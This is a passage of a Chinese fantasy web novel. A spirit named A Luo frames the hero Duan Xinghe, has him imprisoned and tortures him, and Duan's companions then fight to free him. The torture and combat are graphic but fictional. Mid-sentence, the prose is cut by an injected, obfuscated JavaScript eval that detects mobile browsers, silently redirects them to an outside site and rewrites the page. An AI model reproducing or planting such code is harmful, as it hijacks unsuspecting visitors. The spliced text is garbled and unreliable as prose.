祠堂里一片狼藉,南宫秀亲自上前,把蝉蜕的衣裳整理起来。屋里静悄悄的,只有衣裳发出窸窸窣窣的声音。他把金璎珞戴回蝉蜕的脖颈上,苍老的手上布满了皱纹,与玉蝉仙年轻的容貌形成了鲜明的对比。这几百年来,他身边的儿女出生、死亡,换了一代又一代,唯独这具蝉蜕不老不朽,一直陪着他。 “没事了,”南宫秀安慰地说,“我把那小子抓起来了。敢冒犯你的人,伯父一个都不会放过。” 他把面具给它戴了回去,长舒了一口气,灯火幽幽地跳动着,一切终于又恢复了宁静。 陈松屿和肖月明站在一旁,仿佛窥探到了一些不该知道的东西,有些不自在。南宫秀站了起来,道:“家里出了这样的意外,让两位剑仙见笑了。” 陈松屿道:“南宫先生打算怎么处置他?” 南宫秀淡淡道:“那小子罪大恶极,等我向官府报备过了,就杀了他。” 南宫世家在当地的势力极大,无双城中,他这个族长就是土皇帝,官府也要看他的眼色行事。陈松屿一个外人也不好说什么,沉默着走了出去。 肖月明跟他回了客房,想着刚才的事还睡不着。他抓起壶倒了一杯茶,一口闷下去还是觉得恼火,道:“那小子也忒不争气,亏得师兄还在师尊面前替他说话。他犯这等大罪被抓了个现行,没让人当场乱棍打死都是好的!” 陈松屿总觉得事情有蹊跷,段星河好端端的,怎么就忽然动了心思去看那具蝉蜕?但事已至此,追究那些都没用了,他如今成了南宫家的阶下囚。自己和师弟出来之前,师尊还提过这小子,说他是化外之人,身上带着变数,遇上了要多留意。 方才陈松屿若是不出手,那小子难免大开杀戒,到时候就算是冤枉的也要坐实有罪了。可如今他被关在大牢里,过不了两天就要被人杀了。蜀山的人不便插手南宫家的家务事,何况那小子是犯了这么骇人的大错被关起来的。肖月明在屋里转来转去的,觉得管也不是,不管也不是,道:“这个变数死了会怎么样?” 陈松屿道:“不知道。” 世上的因果千丝万缕,牵一发而动全身。肖月明一副烦躁的表情,道:“那救不救?” 陈松屿沉吟良久,叹了口气道:“跟他那几个兄弟透个风吧,让他们自己想办法。至于能不能活,就看他的造化了。” 大清早,众人在客栈大堂吃早饭。李玉真东张西望,道:“段兄呢?” 伏顺道:“大师兄没起吗?” 赵大海道:“他不是一直都起的挺早的么,等会儿上去看看。” 吃完了饭,伏顺上楼去敲门,屋门开着。他进去一看,里头没人,大师兄大概有事出去了。众人等了一天,到晚上还不见段星河回来,伏顺有点坐不住了,跑到隔壁去敲步云邪的房门。 步云邪正在闭关炼丹,先前答应给南宫家的清虚明窍丹刚入炉。他出来道:“怎么了?” 伏顺道:“大师兄不见了,到现在还没回来。二师兄,你不是会那个什么火花咒吗,问问他上哪儿去了。” 步云邪闭上了眼,把心念放出去,却没有任何回应。他睁开了眼道:“不行,离得太远了,感应不到。” 这城里之前还游荡着不少怪物,他应该是昨晚出去的,不知道一个人想干什么。步云邪意识到事情不妙,快步去了隔壁房间,想找一点蛛丝马迹。床叠得整整齐齐的,幽冥剑不见了,他忽然发现后窗的窗纱破了个洞,地面上落着一枚袖箭,上头缠着个纸条。伏顺十分诧异,道:“咦,我早上来的时候还没有的。” 步云邪捡了起来,袖箭上没有任何徽记,对方不想让他知道自己的身份。他打开纸条一看,见上面写着:“段星河在南宫家地牢。” 伏顺凑过来一看,顿时大惊失色,道:“哥,是真的么?” 他失踪了一天一夜,除此之外也没有别的线索了。步云邪的脸色沉了下来,道:“把兄弟们都叫上,跟我去南宫家一趟。” 四下黑漆漆的,空气十分寒冷。段星河不知道自己昏睡了多久,睁开眼时,发现自己躺在一间牢房里。他坐了起来,身上的铁链跟着哗哗作响。他用力扯了几下,铁链很结实,一头锁在墙上。段星河静了片刻,想起了之前发生的事,头剧烈地疼了起来。 我怎么会做这样的事…… 当时的情形浮现在眼前,他把尸体从棺材里拖出来,珍珠宝石扔了一地。被人撞见的时候,尸体还抱在他的怀里。南宫家的人对他恨之入骨,必然不会饶了他。 他脑子昏昏沉沉的,总觉得有哪里不对劲,却又说不出来。 事情从他遇见谶语师的时候就开始失控了。他的意识仿佛被牵引着,不知不觉就做出了这样的事。他低头看着自己的手,懊悔的不得了。阿云他们还不知道自己在这里,得想办法出去才行。 漆黑的走廊上浮现出一点灯光,脚步声传了过来。几个人走到牢门前,是南宫秀和几名弟子。一人点亮了周围的灯,火光幽幽地照亮了地牢。 两个人搬了一把太师椅过来,放在牢门前。南宫秀坐在椅子上,看着段星河道:“醒了?” 他的神色阴沉,仿佛看着一个罪大恶极之人。段星河知道这种情形下,自己说什么他都不信,却还是道:“南宫先生,我并非有意冒犯玉蝉仙。只是我身上带着邪神的诅咒,我想从他身上寻找飞升的法门——” 周围的弟子面带讥诮的神色,南宫秀坐在中间,也面沉似水,显然不信他的话。而且就算他说的是真的,他做的那些事也是冲犯逝者的大罪。 南宫秀嘲道:“所以你不是想亵渎尸体,而是想吃了它?” 段星河的心沉了下去,意识到自己说什么都是徒劳,能做出那些事的自己简直就是个疯子。陈松屿说的不错,自己若是头脑清醒,就不该出现在那个地方。 事已至此,实在说不清道理,只能想办法一走了之了。他攥起了拳头,想找个机会打开牢门。这时忽然听见一个声音道:“我作证,他说的都是真的。” 一个身影从黑暗里浮现出来,那人身穿紫色的法袍,脸上戴着铜面具,却是城东的谶语师。段星河皱起了眉头,道:“你怎么在这里?” 那人没有回答,南宫秀却淡淡道:“你来了。” 谶语师道:“等了这么多年,这好戏当然要亲眼看看。” 段星河诧异地看着他们,心中隐约生出了某种预感。谶语师走到了栏杆前,静静地看着他,就像欣赏一头被囚禁的狮子。他长长地叹了口气,仿佛极其舒畅,达成了某种长久以来的渴望。 他摘下了面具,黑暗中一点火光映亮了他的脸。看清他的一瞬间,段星河倏然睁大了眼,诧异道:“怎么是你!” 77.玉蝉仙 六 黑沉沉的地牢里,一张白生生的脸露了出来,极其美丽,又透着说不出的诡异。 那人生得跟阿萝一模一样,也跟那具蝉蜕一样。段星河极其诧异,头脑中一片混乱,道:“你不是谶语师么?” 那人笑了起来,神态极尽癫狂,又极其快活。他道:“做谶语师有什么意思,我是戏命师。” 段星河还不能理解,那人身上飘浮出了无数金色的飘带,如同宫观里的千面神,现出无数个法相。他缓缓道:“玉蝉仙是我,阿萝是我,允婆娑——也是我。” 段星河十分震惊,一股愤怒的情绪随之生了出来,意识到自己从头到尾都被他耍了。从一开始阿萝让他去城东碰运气,到后来受到谶语师的指点,潜入南宫家的祠堂,自己就像一颗棋子,不知不觉被他操纵着,犯下了这样的大错。 南宫秀神色淡然地坐在一旁,仿佛早就知道这一切了,一点也不意外。 段星河攥住了栏杆,恨不能把他拖进来掐死,恨声道:“你为什么害我?” 阿萝没了从前的少年气,眼里尽是沧桑与冷漠,道:“本座就是要戏耍世上的一切人,看到你们被骗,我比什么都高兴。” 段星河想起了百姓们迎接他的情形,皱眉道:“大家这么信任你,你却骗他们?” 阿萝微微一笑,道:“你不懂,世间最有趣的事,莫过于操纵人的命运。世上有太多人头脑浑浑噩噩,活得像行尸走肉一样。我替他们把握命运,他们谢我还来不及呢。” 他手中托起一团烟雾,幻化出一个女子,不过十六七岁年纪。他道:“这个女孩儿有个青梅竹马的小情郎,他爹娘来找我合婚,我说他们八字相克,她父母就把她嫁给了另一个人。她过得很不开心,去年难产死了。她家里得到了一大笔补偿,非但不难过,还高兴得很呢。” 段星河的脸色很难看,白雾中的人变成了一个拄着拐杖的老男人。阿萝道:“这个人有鹤膝风,嫌吃药治得慢,唠唠叨叨地要我给他除病根儿。我就让他把半只脚截了,那老东西就再也不疼了,还对我感恩戴德的,你说好不好笑,哈哈哈哈。” 段星河皱眉道:“你疯了?” 阿萝原本笑的前仰后合,骤然收敛了笑容,冷冰冰地看着他,道:“我是疯了,当初若不是你害我,我怎么会变成这个样子!” 段星河不明白他在说什么,阿萝道:“你害了这么多人,居然还能心安理得地活着。我们等了这么多年,终于等到你了。” 阿萝恨声道:“当年你骗我服下了丹药,三千女子眉心骨,阴邪至极,害得我死后不能上天,不能入地,神鬼人都做不成,只好飘荡在世间。三百年了,我好恨啊。你屠了半个城的人,还能逍遥法外,我们却成了一个个孤魂野鬼。夜游神,你装什么无辜,放出当初的狠劲儿来给我看看啊!” 他越说越怒,一掌拍在铁栏杆上,哐地一声响。 段星河极度诧异,自己来这个世界之前甚至都没听说过夜游神的名号,不知道他为什么把自己跟那个疯子联系在一起。他皱眉道:“我不是什么夜游神,你认错了。” 南宫秀阴沉道:“不用抵赖,不管你变成什么模样,你就算死了、化成灰,我都认得你这缕邪魂——正常人怎么会有你这么强的煞气!” 夜游神作恶多端,曾经把无双城杀得血流成河。段星河对此根本一无所知,岂能背这么沉重的一口黑锅,道:“我身上有虺神的诅咒,并不是我自身有这样的力量。” 阿萝厉声道:“你还抵赖,给他上刑,看他能嘴硬到什么时候!” 几个南宫家的弟子打开了牢门,段星河自然不肯就范。他用镣铐砸倒一个人,一拳抡过去又放倒一个。这时候就见墙上的影子冒出无数条飘带,藤蔓似的朝他缠了过来。段星河一个不慎被拖倒在地,他拼命撕扯,却无论如何也扯不断。 他怒道:“放开我!” 一条条金色的飘带缠绕在阿萝的手臂上,细细看来却是由无数符文构成,无风自动,如飞天一般飘逸。阿萝的神色冷漠,道:“你省点力气吧,这叫缚神索,是我用灵力炼化而成的,能捆住世间一切东西。” 段星河忽然想起刘通玄曾经说过,他被袭击的那天晚上便是被这样的飘带捆住的。所有人一直以为是怨蛇杀了他们,没想到真凶另有其人。段星河道:“杀死风散人和雷散人的是你?” 阿萝微微一笑,道:“他们得罪了本座,我杀他们,有什么问题么?” 段星河咬牙切齿道:“刘通玄又没得罪你,你杀他干什么?” 阿萝害的人太多了,也不计较到底是哪一个,无所谓道:“我饿了,就要吃人血肉,也不拘认不认得。只不过我这个人睚眦必报,害过我的人,我会让他死的更痛苦一些!” 随着他神色发狠,飘带有灵性似的越勒越紧。段星河挣扎不动,像个茧子一样重重地倒在地上。飘带深深地勒进他的肉里,把骨头绞得生疼。他甚至每次呼吸都感到强烈的痛楚,冷汗把全身都湿透了。 一名弟子拿了刑具包过来,哗啦一声摊在地上,锥子、钳子、小刀、铁签、钢针摆成一排,黑漆漆的带着一股阴森的气息。阿萝的手抚过刑具,拔出一根锥子,露出了兴奋的神色。 他走进了牢房,段星河抬眼看着他,呼吸急促起来,道:“你干什么?” 眼前的情形他想了三百年,几乎以为没有实现的一天了,没想到这混蛋还是落到了自己的手里。阿萝扬起嘴角,道:“放心,你让我受了这么多年的苦,我不会让你轻易死了的。咱们慢慢来,我总得把你欠我的一点点讨回来。” 他说着拿起了锥子,重重地捅了下去。 “南宫家当年二百八十九人,只有我和大伯活了下来。一条人命一锥,你能挨多久?” 他猛地把锥子拔了出来,鲜血溅的到处都是。段星河的身躯猛地一震,疼的眼前一片发白。 “疼么?”阿萝恨声道,“无双城从白天被屠到晚上,死了将近八万人,每个人都在哀嚎痛哭,你猜他们当时疼不疼?” 又是一锥狠狠扎进来,段星河像一条鱼一样挣扎起来,发出了痛楚的嘶吼。 “啊啊啊啊啊——” 他不知道无双城的旧事,也和这些一点关系也没有。他愤怒得像是一座无法爆发的火山,却又摆脱不了折磨。冷汗混着鲜血一滴滴淌下来,他嘶声道:“放开我,我不是他!” 阿萝不为所动,认定了他就是自己的仇人。他抬起手,轻抚段星河的脸庞,擦去了他脸上的血迹,道:“夜游神,早知如此,何必当初呢?” 夜色深沉,步云邪等人赶到了南宫家大门外,躲在树丛里往那边看。几名守卫站在大门前,灯火把周围照的彻亮。步云邪心想,他们若是把人关在地牢里,自己直接去要人必然要不出来,不如先去摸摸情况。 他一招手,低声道:“去后面。” 几个人来到南宫家的西南角附近,先前他们来斗丹时,便听人说过这边有个地牢,是专门关押不肖子孙的,之前那个亵渎玉蝉仙的弟子就被关在里头,被人用家法活活打死了。地牢里隐藏着许多南宫家不足为外人道的秘密,不允许外人随意靠近,就连本门弟子也躲着这里走。 几人翻墙进去了,本来还不确定段星河在不在这里。忽然听见里头传来一声嘶吼,极其痛苦。伏顺的脸色都白了,道:“是大师兄!” 他的声音被守卫听见了,一人朝这边走过来,大声道:“谁,出来!” 段星河就在里面,还正在受苦。步云邪的心中十分恼火,走出去道:“在下钦天监司业步云邪。我师兄段星河失踪了一日夜,不知是否在南宫家?” 那侍卫有些心慌,道:“哪有什么姓段的,你们找人不走大门,翻墙而入与贼何异?” 牢房里又传来一声痛呼,分明就是段星河的声音。步云邪皱起了眉头,道:“人不是就在里头么,让我们进去!” 另外几名侍卫围了过来,带头的那人道:“这几个人擅闯进来,心怀不轨,赶紧把他们拿下!” 步云邪也不是好惹的,脸色沉了下来,道:“动手。” 宋胡缨顿时抡起了烈焰斩马/刀,轰地一声朝人群砍了过去。南宫家的人见那把刀硕大无比,熊熊火焰扑面而来,顿时向后退去。 李玉真低声道:“别杀人,惹上人命就麻烦了。” 对面的毕竟不是妖魔,宋胡缨也不想杀人,用刀背敲昏了一个,刀柄反手捅出去,又捣中了一个人的腹部,打得那人向后飞了出去。 南宫家以炼丹见长,弟子打架的本事着实一般。步云邪等人虽然被围在中间,但丝毫不慌,一会儿功夫就把人打的七零八落。剩下的几个人不住后退,惊恐地看着他们。李玉真拍了拍手上的灰,道:“这么不经打。” 南宫秀听见外头稀里哗啦一阵打斗声,皱眉道:“怎么回事?” 一人从外头奔了进来,慌张道:“家主,不得了了,钦天监的人闯进来了,要咱们把这小子交出去。” 段星河浑身是血,垂着头,手微微颤抖着,身上已经被扎了十七八个窟窿。阿萝皱起了眉头,道:“一帮阴魂不散的,来管本座的闲事!” 阿萝放开了缠在他身上的飘带,大步向外走去。青惨的月光照下来,庭院中一片狼藉,步云邪用剑柄敲昏了最后一个人,随手扔在地上。他转过身来,正好对上了阿萝的目光。两人相对而立,一个清冷高洁,另一个却透着一股妖异之气。阿萝的目光微动,道:“你不该跟他待在一起的。” 步云邪有种异样的感觉,道:“你认得我?” 阿萝没回答他的问题,眼中流露出几分同情,道:“跟那魔头扯上关系的都没有好结果,别人都避之不及,你凭什么以为你能改变的了他?” 步云邪越发觉得奇怪,李玉真出声道:“我们没工夫跟你打哑谜,赶紧把段兄交出来!” 南宫秀走了出来,摆出一派家主的威严道:“你们几个擅闯南宫家,打伤我这么多弟子,是什么意思?” 他的目光落在了步云邪身上,道:“步公子,我敬你炼丹本领高强,对你寄予厚望。你们今日这番作为,可让老夫失望得很!” 步云邪根本不理会他这一套,冷冷道:“你们为何扣押我大师兄?” 南宫秀道:“他擅闯我南宫家的祠堂,意图亵渎玉蝉仙,我难道不能处置他?” 段星河平时行为端正,不可能做这样的事。伏顺道:“不可能,我大师兄绝对不会这么干,肯定是有人陷害他!” 南宫秀道:“当时不少人都亲眼看见了,他抵赖不了。你们若是明白事理,还是速速与他划清界限的好,不然我可要追究你们的连带之罪!” 步云邪对南宫秀的话充耳不闻,只是注视着阿萝道:“你到底是谁?” 阿萝平静道:“我叫南宫青萝,就是你们说的玉蝉仙。” 步云邪道:“你既然有灵,为何坐视他闯入祠堂,擅自动你的遗体?” 阿萝一时间没回答,目光微微变幻。步云邪的心思极其敏锐,看了这片刻,心中已经明白了七八成,道:“当初难道不是你让他去城东碰运气?我听说城中有个夷州王亲封的谶语师,你穿着紫色天师袍,莫不就是那位大能?” 此时就连南宫秀也说不出话来了,没想到他竟然这么聪明。步云邪见他俩这种反应,就知道自己推测的不错了。他往前走了一步,道:“你化身为一个小相士让他去找你自己,是什么目的?你以谶语师的身份对他说了什么,让他铤而走险去动那尊蝉蜕?喔……你是玉蝉仙,蝉蜕就是你自己的,你做了这么多,就是为了让他在众目睽睽之下被擒,好让他身败名裂?” 众人都目瞪口呆,赵大海还没反应过来,挠头道:“什么……什么跟什么?” 李玉真明白过来了,道:“等会儿跟你说,先听着。” 步云邪定定地注视着他,道:“让我炼丹,也是为了支开我吧?我师兄跟你素无仇怨,你们什么处心积虑地陷害他?” 阿萝的神色阴沉下来,道:“你怎么知道他跟我无冤无仇,本座等了他三百年,跟他仇深似海!” 步云邪忽然想起了无双城的过去,夜游神让部下屠城,从清晨杀到日落,死了许多无辜之人,其中就包括南宫家满门。他皱眉道:“那跟他有什么关系?” 阿萝断然道:“他就是夜游神。那小子一身煞气,走到哪里都吸引一大群伥鬼,你难道看不出来么?” 步云邪觉得他们都疯了,道:“我们从来没来过这里,甚至都不属于这个世界,你别诬赖他!” 阿萝哈哈大笑起来,道:“有意思,那小子给你下了什么迷魂药,让你对他这么死心塌地。” 步云邪道:“他是我师兄。” “不止吧?”阿萝讥诮道,“光是跟夜游神勾结在一起,就够遭天打雷劈的了。你祖师爷在天有灵,居然也看得下去?” 这人满口疯话,把几百年前的事硬往他们身上按,简直一点道理也不讲。步云邪不想跟他再纠缠下去了,冷冷道:“把大师兄还给我,其他的我们不再追究,不然我就动手了。” 阿萝笑了,轻蔑道:“就凭你们几个,也敢口出狂言。” 他身后金色的飘带不住飞舞,周身散发出强大的灵力,三百多年的修为绝非一般人能匹敌的。南宫秀提起了手中的铜拐杖,神色也变得阴沉起来。 南宫秀提起拐杖,朝他们砸了过来。只听锵的一声,宋胡缨抡起斩马/刀,架住了那一杖。那铜拐杖十分沉重,老头儿虽然是丹修,却也不好对付。宋胡缨是将门之女,根本不怕他。六幺也拔出剑来,和宋胡缨一左一右跟他打在了一处。 一旁风声呼呼作响,阿萝手中的飘带朝步云邪缠了过来。步云邪以金光咒护体,那飘带在外围飘悠悠地打转,想要伺机钻进来。步云邪被困在其中,一时间无计可施。阿萝露出冷笑,右手像操纵提线木偶似的用力一握,缚神索渐渐绷紧,将防御壁勒出了无数细小的裂纹。 就在这时,忽然见无数道剑光朝阿萝飞了过来,却是李玉真使出了万剑诀。他以强大的精神力化出的刀剑锋利无比,嗤嗤几声撕裂了缚神索,又接二连三地朝阿萝攻过去。 李玉真已经看出了他禄神在卯,平生最怕刀剑之物,使出了金系法术。阿萝果然神色大变,闪身躲到了假山后头。李玉真右手比作剑指,跟着他划了道弧,那些剑便像长了眼睛一般,嗡嗡地追着他绕过了假山。 剑光撕破了阿萝的衣袖,擦着他的脸飞过,攻击了他好一阵子方歇。 阿萝惊出了一头冷汗,恨声道:“好你个臭道士,敢跟本座作对。冲犯了仙人,你不怕死么?” 他飘浮在半空中,成千上万个细小的符文绞在一起,又恢复了飘带的形态。他面如冠玉,衣袂翩然,姿态犹如宫观里供奉的神仙,神情里却藏着阴狠。 李玉真从小在太清宫长大,供奉都是道家正统,根本不会被他唬住。他冷冷道:“神仙我见得多了,浩然正气一望便知。你浑身上下都是邪气,就是个上天无路,下地无门的孤魂野鬼罢了。” 阿萝怒道:“你说什么!” 李玉真道:“我说你根本就不是什么神仙,少往自己脸上贴金了。” 阿萝咆哮一声,身上爆发出无数条金色的飘带,如同鞭子一般朝他抽了过去。啪地一声,地上的青石砖被抽的崩裂开来。李玉真朝后一跃,躲过了那一击。飘带接二连三地抽了过去,李玉真没能躲开,脸上被抽中了一道,鲜血顿时淌了下来。 这人被说中了痛处,便恼羞成怒。李玉真也不是好惹的,右手凌空画符道:“不承认是吧,看我治不治得了你,万剑——万、万剑——” 金光符咒还未写完,李玉真就被几条飘带缠住了手,甚至有几根飘带爬上来捂住了他的嘴。金色的符文画了一半,无以为继,眼睁睁地在半空中消散了。李玉真动弹不得,气得青筋直爆,道:“呜——拉拉扯扯的算什么,放开我!” 阿萝眼神阴沉,冷冷道:“好,你说放就放。” 他一扬手,那几条飘带凌空一甩,把人重重地扔在了地上。李玉真被摔的眼冒金星,疼的直倒凉气。伏顺从一块大石头后面钻出来,关切道:“李兄,你没事吧。” 李玉真还未回答,忽然见眼前一道碧绿的影子扑了过来,骇得大呼道:“躲开!” 阿萝的身形陡然暴涨,化作夜里吃人的本相。他身上生出了无数藤萝叶子,下盘变成了一条粗壮的巨藤,藤子上裂开一个黑洞,里头张开森森利齿,扑过来要吃了他二人。 伏顺吓得一哆嗦,下意识抱紧了李玉真,没想到今日要跟他一起死在这里。 硕大的叶子盖在了伏顺的头上,哗啦啦地抖了几下,却不动了。伏顺睁开了眼,扭头望过去,见一条红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967580|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绸勒住了那根巨藤,绞得紧紧的,用力把它往回拖。步云邪的长发披散下来,手中攥着却邪,千钧一发之际拽住了阿萝的身躯。 红绸勒的咯咯作响,阿萝不肯放弃,拼命跟他较力,身上的每一根枝条都在哗哗颤动,非要把这两个人吃了不可。 他的力气极大,步云邪快拽不住了,咬牙道:“愣着干什么,快跑啊!” 赵大海趁机冲过来,连拖带拽地把那两个人救走了。伏顺瘫坐在一棵大树后面,吓的腿都软了,道:“妈呀,好大一根藤子啊,大师兄怎么就招惹上他了。” 李玉真道:“不是他来招惹咱们的吗?” 阿萝暴怒起来,挣脱了身上的红绸。步云邪整个人都被茂密的枝叶覆盖了。他感到了对方强烈的杀意,下意识往后挪去。 宋胡缨和六幺还在跟那老头儿缠斗,分身乏术。步云邪打了这一阵子,体力已经消耗的差不多了,他喘着气,想要召唤引魂灯。他心念方动,忽然觉得身体一轻,已经被一根藤蔓缠住了腰身,倒提起来。 “放开我——” 步云邪奋力挣扎,奈何被倒提着使不上力气。眼前的妖物有三百年的修为,自己拼尽全力也赢不了他。他浑身都是冷汗,感到了一阵绝望。宋胡缨发现了这边的情况,想过来帮忙,阿萝却伸出了无数根藤子,重重地拍打地面,把她挡在了外面。 阿萝缓缓把步云邪举到了面前,玩味地看着他,道:“这一世到此为止了,真是可惜啊,明明都走到这里了。” “放开……” 步云邪被勒的喘不上气来,拼命掰着身上的藤子,渐渐被举到了高处。在藤蔓的顶部,还有个黑洞洞的裂口,朝外喷着血腥的气息,这里才是他真正取食的位置。枝条晃了晃,要把他扔进去了,步云邪死死地扯着一根藤条,无论如何也不肯放手。 就在此时一道黑影掠过来,重重一拳打在那根藤子上。阿萝疼的浑身颤抖起来,枝条不住动荡,地上的枝条也舞动起来。 那黑衣人的力气极大,又是一拳打在同样的位置,将藤子根部打出了一道裂口。阿萝疼的像是骨折了一般,放声惨叫起来:“啊啊啊啊啊啊——” 步云邪趁着阿萝松懈,松手往下一跃。六幺趁机冲了过来,一把接住了他。 宋胡缨一刀打翻了南宫秀,将硕大沉重的斩马/刀压在他身上,如同死神的镰刀降临。南宫秀动弹不得,恶狠狠地道:“你们跑不了的!” 那黑衣人不是别人,正是段星河。他双眼通红,残破的衣裳挂在身上,胸口的红丝蔓延了半个胸膛,浑身散发出一股极其强大的力量,狰狞而又骇人。 他方才在牢里醒过来,意识到眼下的情势对他们十分不利。他浑身都是受刑的伤口,疼痛激发了煞气,就像一头蠢蠢欲动的野兽。为了活下去他别无选择,只能再一次向邪神低头。 他放纵了煞气,让它占据了全部身体,作为代价,他短暂地获得了虺神的力量。他睁开眼,露出了一个阴沉的笑容。血液在体内沸腾着,让他迫不及待地想要摧毁一些什么,极尽暴虐,又酣畅淋漓。 意识回来时,那株硕大的藤萝已经化为了人形。阿萝倒在地上,被他硬生生打断了一条腿,满地都是被打断的藤蔓和叶子。阿萝疼的浑身发抖,挣扎着想要爬开,却被段星河扯着头发狠狠地拖了回来,一头按在泥地里。那么漂亮的一张脸,被摩擦的血迹斑斑,不成人样。阿萝对他又恨又怕,挣扎道:“放开我,混蛋,咳咳……放……” 先前他用锥子把段星河扎的浑身都是伤,也没有半点手软,此时却知道怕了。 段星河喝道:“幽冥——” 幽冥剑感应到了主人的力量,嗡地一声飞过来,漂浮在他面前。段星河拔出剑,向下划到了阿萝的腰间,眼里带着残忍的光。阿萝浑身战栗起来,恐惧道:“你干什么!” 段星河冷冷道:“听说野草的生命力都很强,我今日拦腰斩了你,明年还能长出一个新的来么?” 阿萝头上冷汗直冒,觉得这人疯起来比自己骇人多了。他道:“不……别开玩笑。” 段星河把剑压得低了一些,扬起嘴角道:“怕什么,咱们来试试。你想埋上半截,还是埋下半截?” 阿萝挣扎起来,嘶声喊道:“大伯,救我!” 南宫秀也十分惊恐,大声道:“是我错了,你们有什么事冲我来,放过他吧!这么多年他也够苦了,求求你们放过他!” 他被压在地上,声嘶力竭地为阿萝求饶,也顾不上家主的面子了。宋胡缨有些不忍,把斩马/刀挪开了,南宫秀连滚带爬地扑过去,护在了阿萝身前。过去的三百多年来,他们两个人相依为命,怀着对夜游神的仇恨才活到了今日,也是两个可怜人。 李玉真和步云邪互相搀扶着走过来。步云邪低头看着他,眼中露出了一点怜悯,觉得这人确实可恨,却也有可悲之处。 李玉真道:“怎么办,杀了吗?” 他已经死过一次了,如今非人非鬼地漂泊在人世间,若是再被杀一次,必然灰飞烟灭。阿萝很不甘心,身体不住发抖。南宫秀竭力道:“我已经活了三百多年了,我活够了,让我替他!” 这老头儿虽然可恶,却是南宫世家的族长,若是杀了他难免惹上无穷无尽的麻烦。天就要亮了,这城中还有不少正道上的人,若是被他们知道了,又要阴魂不散地过来纠缠。 无论杀了南宫秀还是杀了阿萝,都不是明智之举。倒不如以阿萝为质,平安离开无双城再说。 步云邪道:“先收起来,想想再做打算。” 李玉真会意,掏出了紫金葫芦,口中念诵降妖咒。阿萝挣扎着不愿意去,拼命抱着南宫秀,头发被吸得倒飞起来,死也不肯撒手。 段星河皱眉道:“那还是杀了吧。” 阿萝吓了一跳,下意识松了手,嗖的一下子被吸进了紫金葫芦。李玉真连忙将葫芦塞了起来,葫芦嗡嗡地扑棱了一阵子。李玉真拍了拍道:“安静点儿。” 葫芦用力颠了几下,好在十分结实,任阿萝在里头又捶又打,硬是没有一丝裂纹。李玉真摩挲着上头龙虎山的印章,感叹道:“是比太清宫的葫芦好使啊。” 地上有一条金色的丝带,散发着淡淡的光芒,却是阿萝的法器。李玉真弯腰捡了起来,想仔细看一看,那条缚神索却嗖地一下子钻进了他的左手心中,变成了一个金色的圆点。 李玉真吓了一跳,感觉手心里一阵灼热,甩了甩手道:“喂,你出来,谁让你钻进去了!” 那个圆点纹丝不动,就这么栖息在他身体里了。步云邪把手放在李玉真的手背上,一道金色的灵力放出来,不断施压,那法器却没有任何反应,就像一根藤子紧紧地攀附在一棵大树上。李玉真道:“怎么回事?” “藤萝附甲,”步云邪沉吟道,“你也是木灵根,跟它原来栖息的环境很像,它可能不会出来了。” “什么意思,”李玉真道,“它认我为主了?” 步云邪笑了一下,道:“说不准,可能只是借住。” 李玉真一个头两个大,道:“那这玩意儿劳神费力的,我为什么要帮他养着!” 步云邪也没有别的办法,道:“先这样吧,等以后修炼的强一些了,看看能不能操纵得了它。” 李玉真感觉那东西在体内没什么存在感,反而让他的力量增加了一些。既然如此,带着它也不是不行。 天快亮了,步云邪道:“走吧,别在这儿了。” 一群人便向外走去,打算尽快离开无双城。南宫秀眼看着他们把阿萝抓走了,又气又急,道:“你们要带他到哪儿去!” 段星河的神色恍惚,整个人还被煞气控制着,心烦道:“找个地方宰了!” 南宫秀的脸色顿时变得惨白,一副万念俱灰的模样。步云邪叹了口气,道:“只要你不找我们的麻烦,等我们平安离开了,自然会放他出来。” 李玉真吓唬他道:“对,别叫人来追我们,要不然我可就拿你的好侄子炼丹了。” 南宫秀打不过他们,阿萝又在他们手上,只能忍气吞声。他道:“好,我答应你们,你们也别伤害他!” 众人翻墙而出,消失在了夜色里。南宫秀坐在地上,看着一地的狼藉,没想到自己筹谋了这么久还是一败涂地。他心中恨得要命,拾起一根散落的藤条,颤抖着贴在胸前,不觉间哭得老泪纵横。 78.玉蝉仙 七 城门刚开,赵大海便驾着大车离开了无双城。刘通玄的伤还没养好,经不起颠簸。浩荡盟的人前几天就得了消息,要来接他了。众人与刘叔道了别,赶在南宫家追来之前启了程。 段星河一直头疼的厉害,勉强骑马出了城。他眼前一阵阵发黑,烙印像火一样灼烧着他。虺神的力量褪去了,诅咒开始反噬他,收取使用这股力量的代价。 他一只手捂着心口,实在支撑不住,从马背上跌落下来。 步云邪吓了一跳,连忙翻身下了马,道:“没事吧,停车,在路边歇一会儿。” 他把段星河扶到了路边,段星河心脏疼的难以承受,眼里满是血丝,浑身的肌肉绷着,满身都是青筋。他已经很久都没有发作的这么严重了,这次动用的邪力太多,几乎要了他的命。 司空玉头一次见他煞气发作,显得很担忧,又有些怕他。大家都不知所措,伏顺道:“怎么办啊,二师兄。” 步云邪没有别的法子,拔剑割破了手心,把血滴进了他嘴里。段星河吞咽下血液,感觉如同一道冰泉融进了身体,缓解了他火山地狱一般的痛苦。 求生的本能让他扬起脖颈,用力吮吸伤口。步云邪把他抱在腿上,手心被他咬的血肉模糊,指尖疼的微微痉挛,却什么也没说。 他喝够了血,终于平静下来。步云邪把手藏在身后,悄然使了治愈术。虽然表面愈合起来了,但刚才失了不少血,脸色还有些苍白。 段星河混沌的眼神渐渐恢复了清明,感到嘴里一股血腥味,伸手擦了一下,指尖上沾着一点血迹。他意识到发生了什么,哑声道:“抱歉。” “有什么好道歉的,”步云邪轻声道,“你累了,咱们就歇一会儿再走,要到车上去吗?” 段星河想吹一吹风,让自己冷静一些。他坐在路边的一块大石头上,头埋在臂弯里,想着这段时间经历的事。他心口的疼痛还没有完全平息,千头万绪的,烦得要命。 